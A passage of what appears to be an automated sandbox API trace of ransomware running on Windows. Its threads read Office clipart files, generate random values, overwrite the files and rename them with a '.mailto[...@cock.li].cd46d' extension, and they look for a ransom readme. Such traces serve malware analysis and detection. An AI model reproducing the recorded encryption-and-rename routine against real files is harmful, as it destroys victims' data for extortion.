Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x768e1b97 [0060.987] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x150a287c [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x13b12768 [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x3c7ef729 [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x7cfd865b [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x5c9f4c59 [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x7a42c31e [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x481c7f3a [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x2ecdb281 [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x63263e5f [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x542a1a2e [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x624698e1 [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x559bdc4e [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x9180597 [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x5a9ee2f7 [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0xa795b7e [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x4e7806a4 [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x394cd7df [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x3bcf252c [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x157f62ad [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x157e7213 [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x1a8d5a71 [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0xfd33569 [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x2a78b736 [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x41f524ef [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x3801735b [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x6987205c [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x22d4c13f [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x3f04e366 [0060.988] RtlRandomEx (in: Seed=0x1094fa98 | out: Seed=0x1094fa98) returned 0x4c3eb651 [0061.001] ReadFile (in: hFile=0xb94, lpBuffer=0x19b0a1e8, nNumberOfBytesToRead=0x1f6, lpNumberOfBytesRead=0x1094fa88, lpOverlapped=0x0 | out: lpBuffer=0x19b0a1e8*, lpNumberOfBytesRead=0x1094fa88*=0x1f6, lpOverlapped=0x0) returned 1 [0061.001] SetFilePointerEx (in: hFile=0xb94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.001] WriteFile (in: hFile=0xb94, lpBuffer=0x19b169f0*, nNumberOfBytesToWrite=0x1f6, lpNumberOfBytesWritten=0x1094fa84, lpOverlapped=0x0 | out: lpBuffer=0x19b169f0*, lpNumberOfBytesWritten=0x1094fa84*=0x1f6, lpOverlapped=0x0) returned 1 [0061.398] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97220 [0061.398] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97248 [0061.398] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97248) returned 1 [0061.398] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b169f0) returned 1 [0061.398] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b0a1e8) returned 1 [0061.398] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5b98) returned 1 [0061.399] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402cc0) returned 1 [0061.399] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e0390 [0061.399] SetFilePointerEx (in: hFile=0xb94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.399] WriteFile (in: hFile=0xb94, lpBuffer=0x12d7d7a0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1094faec, lpOverlapped=0x0 | out: lpBuffer=0x12d7d7a0*, lpNumberOfBytesWritten=0x1094faec*=0x109, lpOverlapped=0x0) returned 1 [0061.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d7a0) returned 1 [0061.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e03c0) returned 1 [0061.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97248) returned 1 [0061.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0390) returned 1 [0061.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97220) returned 1 [0061.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8d00) returned 1 [0061.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8da0) returned 1 [0061.490] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8dc8) returned 1 [0061.490] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00c90 [0061.490] wcscpy (in: _Dest=0x5e00c90, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" [0061.490] wcscat (in: _Dest=0x5e00c90, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.490] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1094faa4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.490] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x424230 [0061.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0061.595] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e216e8) returned 1 [0061.595] NtQueryInformationFile (in: FileHandle=0xb94, IoStatusBlock=0x1094fab0, FileInformation=0x1094fa88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1094fab0, FileInformation=0x1094fa88) returned 0x0 [0061.596] NtSetInformationFile (FileHandle=0xb94, IoStatusBlock=0x1094fab0, FileInformation=0x1094fa88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.596] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00c90) returned 1 [0061.597] FlushFileBuffers (hFile=0xb94) returned 1 [0062.200] CloseHandle (hObject=0xb94) returned 1 [0062.673] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x12d97430 [0062.674] wcscpy (in: _Dest=0x12d97430, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.674] wcscat (in: _Dest=0x12d97430, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0x20 [0063.075] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97430) returned 1 [0063.075] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f8e60) returned 1 Thread: id = 1050 os_tid = 0x644 [0056.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0061.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF", dwFileAttributes=0x20) returned 1 [0061.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb90 [0061.002] GetFileSizeEx (in: hFile=0xb90, lpFileSize=0xf52fc7c | out: lpFileSize=0xf52fc7c*=12702) returned 1 [0061.002] SetFilePointerEx (in: hFile=0xb90, liDistanceToMove=0x319a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.002] ReadFile (in: hFile=0xb90, lpBuffer=0xf52fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf52fbfc, lpOverlapped=0x0 | out: lpBuffer=0xf52fc00*, lpNumberOfBytesRead=0xf52fbfc*=0x4, lpOverlapped=0x0) returned 1 [0061.004] SetFilePointerEx (in: hFile=0xb90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8d78 [0061.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8df0 [0061.004] NtQuerySystemTime (in: CurrentTime=0xf52fbdc | out: CurrentTime=0xf52fbdc*=132174898249884000) returned 0x0 [0061.004] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x324d4127 [0061.004] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x6c35e3cd [0061.004] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x3f129ed9 [0061.004] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x3538e726 [0061.004] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x52dcb607 [0061.004] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x3408643e [0061.004] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x5492709 [0061.004] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x5a683aab [0061.004] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x5c4f9b24 [0061.004] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x437790e6 [0061.004] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x1d8b3a71 [0061.004] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x16d5a06e [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x16a9b8a3 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x543d44e8 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x7add4e3 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x76916afe [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x23fd669b [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x5e074257 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x79214ff2 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x12a26542 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x163029e8 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x4b6f62a3 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x54da5136 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x425ae586 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x71a67563 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x339eb2ce [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x399ca58a [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x1e5bded8 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x115caeb1 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x13f53436 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x18c253f5 [0061.005] RtlRandomEx (in: Seed=0xf52fbe8 | out: Seed=0xf52fbe8) returned 0x3bec45ee [0061.018] ReadFile (in: hFile=0xb90, lpBuffer=0x19b231f8, nNumberOfBytesToRead=0x319e, lpNumberOfBytesRead=0xf52fbd8, lpOverlapped=0x0 | out: lpBuffer=0x19b231f8*, lpNumberOfBytesRead=0xf52fbd8*=0x319e, lpOverlapped=0x0) returned 1 [0061.020] SetFilePointerEx (in: hFile=0xb90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.020] WriteFile (in: hFile=0xb90, lpBuffer=0x19b2fa00*, nNumberOfBytesToWrite=0x319e, lpNumberOfBytesWritten=0xf52fbd4, lpOverlapped=0x0 | out: lpBuffer=0x19b2fa00*, lpNumberOfBytesWritten=0xf52fbd4*=0x319e, lpOverlapped=0x0) returned 1 [0064.441] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460120 [0064.441] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460670 [0064.441] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460670) returned 1 [0064.441] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b2fa00) returned 1 [0064.442] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b231f8) returned 1 [0064.442] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5b20) returned 1 [0064.442] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402d50) returned 1 [0064.442] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ceb70 [0064.442] SetFilePointerEx (in: hFile=0xb90, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.442] WriteFile (in: hFile=0xb90, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xf52fc3c, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0xf52fc3c*=0x109, lpOverlapped=0x0) returned 1 [0064.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0064.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceae0) returned 1 [0064.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460670) returned 1 [0064.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb70) returned 1 [0064.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460120) returned 1 [0064.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8d78) returned 1 [0064.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8e18) returned 1 [0064.443] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8e40) returned 1 [0064.443] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00470 [0064.443] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" [0064.443] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0064.443] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf52fbf4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0064.443] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x12cf96e0 [0064.445] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf96e0) returned 1 [0064.445] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d79e0) returned 1 [0064.445] NtQueryInformationFile (in: FileHandle=0xb90, IoStatusBlock=0xf52fc00, FileInformation=0xf52fbd8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf52fc00, FileInformation=0xf52fbd8) returned 0x0 [0064.445] NtSetInformationFile (FileHandle=0xb90, IoStatusBlock=0xf52fc00, FileInformation=0xf52fbd8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0064.446] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0064.446] FlushFileBuffers (hFile=0xb90) returned 1 [0066.224] CloseHandle (hObject=0xb90) Thread: id = 1051 os_tid = 0x210 [0056.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0061.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF", dwFileAttributes=0x20) returned 1 [0061.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb8c [0061.020] GetFileSizeEx (in: hFile=0xb8c, lpFileSize=0x10a3fd28 | out: lpFileSize=0x10a3fd28*=3484) returned 1 [0061.021] SetFilePointerEx (in: hFile=0xb8c, liDistanceToMove=0xd98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.021] ReadFile (in: hFile=0xb8c, lpBuffer=0x10a3fcac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10a3fca8, lpOverlapped=0x0 | out: lpBuffer=0x10a3fcac*, lpNumberOfBytesRead=0x10a3fca8*=0x4, lpOverlapped=0x0) returned 1 [0061.022] SetFilePointerEx (in: hFile=0xb8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.022] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0061.022] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8df0 [0061.022] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8e68 [0061.022] NtQuerySystemTime (in: CurrentTime=0x10a3fc88 | out: CurrentTime=0x10a3fc88*=132174898250040000) returned 0x0 [0061.022] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x61669771 [0061.022] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x496314ff [0061.022] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x26faf33c [0061.022] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x191bfdc3 [0061.022] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x6b2c3d24 [0061.022] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x2590cd90 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x42561886 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x5b2f75ba [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x4397508b [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x674e4796 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x36f626e8 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x100b6ea0 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x1fd47592 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x614c817 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x68eef031 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x74532abd [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x2a4fd573 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x19e56821 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x5942d78c [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x5f323881 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x1b55eedd [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x20db4121 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x5280ed36 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x267172f [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x358972ab [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x20d40a59 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x50a853dd [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x5b82a0f9 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x7da3f5ce [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x42db8f51 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x8582889 [0061.023] RtlRandomEx (in: Seed=0x10a3fc94 | out: Seed=0x10a3fc94) returned 0x662fda8 [0061.036] ReadFile (in: hFile=0xb8c, lpBuffer=0x19b3c208, nNumberOfBytesToRead=0xd9c, lpNumberOfBytesRead=0x10a3fc84, lpOverlapped=0x0 | out: lpBuffer=0x19b3c208*, lpNumberOfBytesRead=0x10a3fc84*=0xd9c, lpOverlapped=0x0) returned 1 [0061.036] SetFilePointerEx (in: hFile=0xb8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.036] WriteFile (in: hFile=0xb8c, lpBuffer=0x19b48a10*, nNumberOfBytesToWrite=0xd9c, lpNumberOfBytesWritten=0x10a3fc80, lpOverlapped=0x0 | out: lpBuffer=0x19b48a10*, lpNumberOfBytesWritten=0x10a3fc80*=0xd9c, lpOverlapped=0x0) returned 1 [0061.401] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97270 [0061.401] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d97298 [0061.401] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97298) returned 1 [0061.401] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b48a10) returned 1 [0061.401] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19b3c208) returned 1 [0061.401] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a510) returned 1 [0061.401] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402a80) returned 1 [0061.402] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e03f0 [0061.402] SetFilePointerEx (in: hFile=0xb8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.402] WriteFile (in: hFile=0xb8c, lpBuffer=0x12d7d8b8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x10a3fce8, lpOverlapped=0x0 | out: lpBuffer=0x12d7d8b8*, lpNumberOfBytesWritten=0x10a3fce8*=0x109, lpOverlapped=0x0) returned 1 [0061.489] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d8b8) returned 1 [0061.489] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e0420) returned 1 [0061.489] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97298) returned 1 [0061.489] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e03f0) returned 1 [0061.489] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d97270) returned 1 [0061.489] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8df0) returned 1 [0061.489] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8e90) returned 1 [0061.489] RtlFreeHeap (HeapHandle=0x3f0000, 